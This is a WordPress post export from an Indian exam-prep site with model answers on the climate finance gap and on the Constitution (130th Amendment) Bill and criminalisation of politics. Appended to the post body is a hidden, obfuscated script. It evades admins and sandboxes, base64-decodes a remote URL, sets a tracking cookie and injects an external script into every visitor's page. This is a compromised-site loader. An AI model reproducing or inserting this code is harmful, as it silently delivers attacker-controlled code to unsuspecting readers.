{"id":2671,"date":"2025-10-31T04:41:41","date_gmt":"2025-10-31T04:41:41","guid":{"rendered":"https:\/\/iasquest.com\/?p=2671"},"modified":"2026-02-11T18:49:20","modified_gmt":"2026-02-11T18:49:20","slug":"climate-finance-gap-130th-amendment-bill","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/climate-finance-gap-130th-amendment-bill\/","title":{"rendered":"Climate Finance Gap &#038; 130th Amendment Bill"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#ff0000\"><strong>1. \u201cDespite global pledges, climate finance remains grossly inadequate to meet the adaptation and mitigation needs of developing countries. Discuss the challenges and implications of this finance gap, and suggest measures to make global climate finance architecture more equitable and effective.\u201d<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies Paper \u2013 3 &#8211; Conservation, environmental pollution and degradation, environmental impact assessment<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS: Climate Finance Gap \u2014 Developing Nations Need 12\u00d7 More Funds<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">Climate finance \u2014 the flow of funds from developed to developing nations for climate mitigation, adaptation, and loss &amp; damage \u2014 lies at the heart of global climate action. Yet, as per UNEP\u2019s<strong> \u201cRunning on Empty\u201d Report (2024)<\/strong>, developing nations need<strong> $310\u2013365 billion annually by 2035, nearly 12 times current financial flows (~$26 billion in 2023).<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-4\"><a><\/a><strong>Challenges in Climate Finance (with data &amp; reports)<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>1. Unmet Global Pledges:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-6\">\n<li>The <strong>Copenhagen (2009)<\/strong> and <strong>Paris (2015)<\/strong> commitments of <strong>$100 billion annually<\/strong> remain unfulfilled.<\/li>\n\n\n\n<li>The <strong>COP-26 (Glasgow) target<\/strong> to double adaptation finance to <strong>$40 billion by 2025<\/strong> will be missed (UNEP, 2024).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>2. Debt-Dominated Structure:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li><strong>58%<\/strong> of international adaptation finance (2022\u201323) came as <strong>loans<\/strong>, while only <strong>42%<\/strong> were grants.<\/li>\n\n\n\n<li>This worsens debt distress \u2014 <strong>IMF (2023)<\/strong> reports that 60% of low-income countries face debt vulnerabilities due to climate-linked borrowing.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>3. Institutional Weakness:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li><em>Green Climate Fund (GCF)<\/em> disbursed only <strong>~$12 billion<\/strong> by 2023 against a <strong>$100 billion target<\/strong> (OECD, 2023).<\/li>\n\n\n\n<li><em>Standing Committee on Finance (UNFCCC, 2023)<\/em> highlighted underreporting and lack of transparency in fund accounting.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>4. Geopolitical Distractions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>Post-pandemic recovery and the Ukraine conflict diverted resources from climate priorities (World Bank, 2023).<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-13\"><strong>\u00a0Implications for Developing Nations (examples + data)<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li><strong>Climate Inequity:<\/strong> <em>IPCC AR6 (2023)<\/em> confirms developing nations face 70\u201380% of global climate losses despite contributing &lt;10% of emissions.<\/li>\n\n\n\n<li><strong>Slower Transition:<\/strong> <em>India<\/em> requires <strong>$170 billion annually till 2030<\/strong> for its green transition (Economic Survey 2022\u201323), but current flows meet only 15\u201320%.<\/li>\n\n\n\n<li><strong>Loss of Trust:<\/strong> At <strong>COP-29 (Baku, 2024)<\/strong>, developing nations demanded <strong>$1.3 trillion annually<\/strong>, but developed countries agreed to just <strong>$300 billion<\/strong> under the <strong>New Collective Quantified Goal (NCQG)<\/strong>, deepening the North\u2013South trust gap.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color has-medium-font-size wp-elements-15\"><strong>\u00a0Measures for an Equitable and Effective Climate Finance Architecture<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>1. Fulfil and Upscale Commitments:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>Implement the <strong>Baku to Bel\u00e9m Roadmap (2024\u201325)<\/strong> to raise finance to <strong>$1.3 trillion\/year<\/strong> by 2035.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>2. Shift to Grant-Based Finance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>Reduce debt-heavy instruments; adopt <strong>debt-for-climate swaps<\/strong> (e.g., <em>Seychelles 2021<\/em> model).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>3. Operationalize the Loss &amp; Damage Fund (COP-27, Sharm El-Sheikh):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>Prioritize <em>LDCs<\/em> and <em>SIDS<\/em> with grant-based relief mechanisms.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>4. Institutional Reforms:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>Strengthen the <strong>Green Climate Fund<\/strong> and <strong>Standing Committee on Finance<\/strong> for accountability.<\/li>\n\n\n\n<li>Establish a <strong>Global Climate Finance Registry<\/strong> under UNFCCC to track flows and delivery.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>5. Private and Innovative Finance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>Expand <em>green bonds<\/em> (India issued \u20b916,000 crore in 2023), <em>blended finance<\/em>, and <em>carbon markets<\/em>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>6. South\u2013South Cooperation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>Initiatives like <strong>ISA (International Solar Alliance)<\/strong> and <strong>CDRI (Coalition for Disaster Resilient Infrastructure)<\/strong> show effective models of equitable climate partnerships.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">The widening finance gap is not a resource crisis but a <strong>justice crisis<\/strong>. Bridging it requires predictable, transparent, and equitable funding aligned with the <strong>Common but Differentiated Responsibilities (CBDR)<\/strong> principle. As <strong>UN Secretary-General Ant\u00f3nio Guterres<\/strong> said, \u201cFinance is the oxygen of climate action \u2014 without it, all promises will suffocate.\u201d<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (2021)<\/strong> <br><strong>Q. Explain the purpose of the Green Climate Fund (GCF). How far can it help developing countries in adaptation and mitigation of climate change?<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/developing-countries-need-12-times-more-funds-than-currently-available-to-tackle-climate-crisis\/article70217560.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/developing-countries-need-12-times-more-funds-than-currently-available-to-tackle-climate-crisis\/article70217560.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-30 wp-block-paragraph\" style=\"color:#ff0000\"><strong>2. \u201cDespite repeated judicial and institutional interventions, criminalization of politics continues to undermine constitutional governance in India\u201d. Discuss in the light of recent legislative initiatives such as the Constitution (130th Amendment) Bill<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus: <\/strong><br><strong>Functions and responsibilities of the Union and the States, issues and challenges pertaining to the federal structure<\/strong> <strong>General Studies \u2013 :\u00a0 GS Paper 2<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>IN NEWS: An amended Constitution Bill, its contentious issues (130th Amendment Bill)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">Criminalisation of politics persists despite judicial and institutional efforts. <strong>Around 40\u201345% <\/strong>of legislators face criminal cases and<strong> 25\u201330% face serious charges<\/strong>, prompting new measures like the Constitution <strong>(130th Amendment) Bill, 2025,<\/strong> which seeks to disqualify ministers detained for <strong>over 30 days<\/strong> in serious offences to uphold political integrity.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color has-medium-font-size wp-elements-33 wp-block-paragraph\"><strong>Why judicial\/institutional steps fell short<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>1. Time-lagged remedy:<\/strong> Disqualification under the<strong> Representation of the People Act (Section 8) o<\/strong>perates only upon conviction, and trials are often prolonged \u2014 rendering the remedy ineffective.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>2. Limit of judicial remedies<\/strong>: SC pronouncements <strong>(e.g., <em>Arnesh Kumar<\/em>\u2014directions on arrest; <em>Joginder Kumar<\/em>\u2014arrest justification) protect liberty<\/strong> but cannot expedite trials or change political incentives to field tainted candidates.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>3. Weak party self-regulation:<\/strong> Political parties continue to prefer winnability over probity; <strong>internal mechanisms to screen candidates are inadequate<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>4. Policing and prosecution gaps:<\/strong> Investigative delays, discretionary arrests and occasional political misuse undermine institutional trust (historic commissions and studies have flagged high rates of unnecessary arrests).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>About the 130th Amendment Bill \u2014 merits &amp; concerns<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li><strong>Merit:<\/strong> Attempts immediate executive accountability \u2014 prevents a person in prolonged custody from<strong> \u201crunning government from jail\u201d<\/strong> and signals zero tolerance for serious wrongdoing by office-holders.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Constitutional concerns:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li><strong>Presumption of innocence (Art. 21)<\/strong>: Automatic cessation on arrest (not conviction) risks penalising the innocent.<br><strong>&nbsp;\u2022 Police discretion &amp; misuse:<\/strong> Arrest is discretionary (CrPC \u00a741\/BNSS) \u2014 risk of politically motivated arrests to unseat rivals.<\/li>\n\n\n\n<li><strong>Procedural mismatch:<\/strong> Default judicial remand and special laws <strong>(PMLA\/NDPS\/UAPA)<\/strong> often keep accused in custody beyond <strong>30 days<\/strong> even when trials are pending or bail standards are stringent.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Way forward (balanced reforms)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">1. Trigger removal only after judicial cognizance\/framing of charges<strong> (as Law Commission (244th) recommended) <\/strong>rather than mere arrest.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>2. Independent review mechanism (judicial\/ombudsman)<\/strong> to vet executive removal orders within a short period.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">3. Fast-track courts for cases involving public office-holders and<strong> statutory timelines for trial.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">4. Differentiate offences \u2014 <strong>limit automatic removal to clearly defined heinous\/serious corruption\/abuse-of-office offences.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\"><strong>5. Strengthen party-level vetting <\/strong>and political finance reforms to reduce incentives for tainted candidates.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">Criminalisation of politics erodes constitutional governance. <strong>Legislative reforms like the 130th Amendment address symptoms,<\/strong> but must be paired with procedural safeguards, speedy trials and political reforms to protect both probity and fundamental rights.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-medium-font-size\"><strong>\u00a0Value-Addition Material<\/strong><\/h3>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-49\"><a><\/a><strong>1. Constitutional &amp; Legal Provisions<\/strong><\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#00ffaa70\"><tbody><tr><td><strong>Theme<\/strong><\/td><td><strong>Relevant Article \/ Law \/ Judgment<\/strong><\/td><td><strong>Key Point for Integration<\/strong><\/td><\/tr><tr><td><strong>Constitutional Governance<\/strong><\/td><td><strong>Article 14, 19, 21<\/strong><\/td><td>Basis for equality, liberty and due process \u2014 undermined when tainted legislators misuse power.<\/td><\/tr><tr><td><strong>Collective Responsibility<\/strong><\/td><td><strong>Article 75(3)<\/strong> (Union) &amp; <strong>164(2)<\/strong> (State)<\/td><td>Ministers must enjoy the confidence of the legislature \u2014 detention erodes legitimacy.<\/td><\/tr><tr><td><strong>Oath of Office<\/strong><\/td><td><strong>Third Schedule<\/strong><\/td><td>Ministers swear to uphold the Constitution and discharge duties faithfully \u2014 contradicts continuation under custody.<\/td><\/tr><tr><td><strong>Disqualification Grounds<\/strong><\/td><td><strong>Article 102(1)(e)<\/strong> &amp; <strong>191(1)(e)<\/strong> + <strong>Representation of the People Act, 1951 (Sections 8\u201310A)<\/strong><\/td><td>Provide for disqualification upon conviction, not arrest \u2014 hence the need for reform.<\/td><\/tr><tr><td><strong>Judicial Precedents<\/strong><\/td><td><em>Lily Thomas v. Union of India<\/em> (2013)<\/td><td>SC struck down Section 8(4) of RPA, ending 3-month cushion for convicted MPs\/MLAs.<\/td><\/tr><tr><td>&nbsp;<\/td><td><em>Public Interest Foundation v. Union of India<\/em> (2018)<\/td><td>Directed political parties to disclose criminal antecedents of candidates.<\/td><\/tr><tr><td>&nbsp;<\/td><td><em>Manoj Narula v. Union of India<\/em> (2014)<\/td><td>SC advised PM\/CM to avoid including tainted individuals in government \u2014 moral restraint.<\/td><\/tr><tr><td>&nbsp;<\/td><td><em>Arnesh Kumar v. State of Bihar<\/em> (2014), <em>Joginder Kumar v. State of UP<\/em> (1994)<\/td><td>Guidelines on arrest \u2014 relevant to balance liberty with accountability.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-50\"><a><\/a><strong>2. Data and Reports for Introduction \/ Body<\/strong><\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#07f0a973\"><tbody><tr><td><strong>Source<\/strong><\/td><td><strong>Key Findings<\/strong><\/td><\/tr><tr><td><strong>ADR (Association for Democratic Reforms), 2024<\/strong><\/td><td>43% of Lok Sabha MPs face criminal cases; 29% face serious charges (murder, attempt to murder, crimes against women).<\/td><\/tr><tr><td><strong>ADR (State Assemblies, 2023)<\/strong><\/td><td>Average of 44% MLAs have criminal cases; over 25% serious charges.<\/td><\/tr><tr><td><strong>Law Commission of India (244th Report, 2014)<\/strong><\/td><td>Recommended disqualification from contesting elections upon framing of charges for serious offences (\u22655 years punishment).<\/td><\/tr><tr><td><strong>Vohra Committee Report (1993)<\/strong><\/td><td>Warned about deep nexus between criminals, politicians and bureaucrats.<\/td><\/tr><tr><td><strong>Second ARC, Ethics in Governance (2007)<\/strong><\/td><td>Identified criminalisation of politics as a major threat to rule of law and public trust.<\/td><\/tr><tr><td><strong>ECI Data (2023)<\/strong><\/td><td>13% increase in candidates with criminal cases compared to 2019; 30% rise in those with serious charges.<\/td><\/tr><tr><td><strong>Supreme Court Observation (2020)<\/strong><\/td><td>\u201cCriminalisation of politics is the bane of Indian democracy\u201d \u2013 expressed concern over non-compliance with 2018 disclosure directions.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-51\"><a><\/a><strong>3. Value-Adding Points for 130th Constitutional Amendment Bill (2025)<\/strong><\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#07f0a973\"><tbody><tr><td><strong>Aspect<\/strong><\/td><td><strong>Key Insight<\/strong><\/td><\/tr><tr><td><strong>Objective<\/strong><\/td><td>Prevent Ministers\/PM\/CM from holding office while in judicial custody beyond 30 days for offences punishable \u22655 years.<\/td><\/tr><tr><td><strong>Moral Rationale<\/strong><\/td><td>\u201cNo one should run government from jail\u201d \u2014 aligns with principles of <em>constitutional morality<\/em> (Dr. B.R. Ambedkar\u2019s vision).<\/td><\/tr><tr><td><strong>Comparative Insight<\/strong><\/td><td>In UK &amp; Canada, ministers resign upon indictment or custody, even before conviction \u2014 upholds moral accountability.<\/td><\/tr><tr><td><strong>Checks and Balances<\/strong><\/td><td>Bill proposes automatic removal, but must ensure protection under <strong>Article 21<\/strong> (presumption of innocence, fair process).<\/td><\/tr><tr><td><strong>Concerns<\/strong><\/td><td>Could be misused for political vendetta, given police arrest discretion under <strong>CrPC \u00a741<\/strong> or <strong>BNSS equivalent<\/strong>.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-52\"><a><\/a><strong>4. Supporting Value-Addition for \u201cWay Forward\u201d<\/strong><\/h4>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#07f0a973\"><tbody><tr><td><strong>Reform Area<\/strong><\/td><td><strong>Supporting Report \/ Precedent<\/strong><\/td><\/tr><tr><td><strong>Fast-track courts for politicians<\/strong><\/td><td>Recommended by SC (2020) \u2013 directed special courts to complete trials within 1 year.<\/td><\/tr><tr><td><strong>Independent ethics ombudsman<\/strong><\/td><td>Suggested by <strong>Second ARC<\/strong> and <strong>NITI Aayog\u2019s Ethics Report (2017)<\/strong>.<\/td><\/tr><tr><td><strong>Transparency in political funding<\/strong><\/td><td><strong>ECI White Paper (2022)<\/strong> \u2013 linkage between opaque funding and criminal candidates.<\/td><\/tr><tr><td><strong>Inner-party democracy<\/strong><\/td><td><strong>170th Law Commission Report (1999)<\/strong> \u2013 called for reforms to democratize party functioning.<\/td><\/tr><tr><td><strong>Public awareness<\/strong><\/td><td><strong>ADR &amp; ECI joint initiatives<\/strong> promoting \u201cclean candidate\u201d campaigns \u2014 critical for behavioural change.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-53\"><a><\/a><strong>5. Model Conclusion with Data<\/strong><\/h4>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">Criminalisation of politics remains a systemic threat to constitutional governance and public faith. With nearly <strong>45% legislators facing criminal charges<\/strong>, the <strong>130th Amendment Bill<\/strong> is a timely moral intervention. Yet, sustainable reform demands <strong>institutional integrity, judicial speed, and political will<\/strong> \u2014 to balance <strong>probity in public life with constitutional justice under Articles 14 and 21.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE (2023)<\/strong> <br><strong>Q. How far do you agree that political funding and criminalization of politics are the twin challenges to good governance in India?<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/lead\/an-amended-constitution-bill-its-contentious-issues\/article70217979.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/lead\/an-amended-constitution-bill-its-contentious-issues\/article70217979.ece<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u201cDespite global pledges, climate finance remains grossly inadequate to meet the adaptation and mitigation needs of developing countries. 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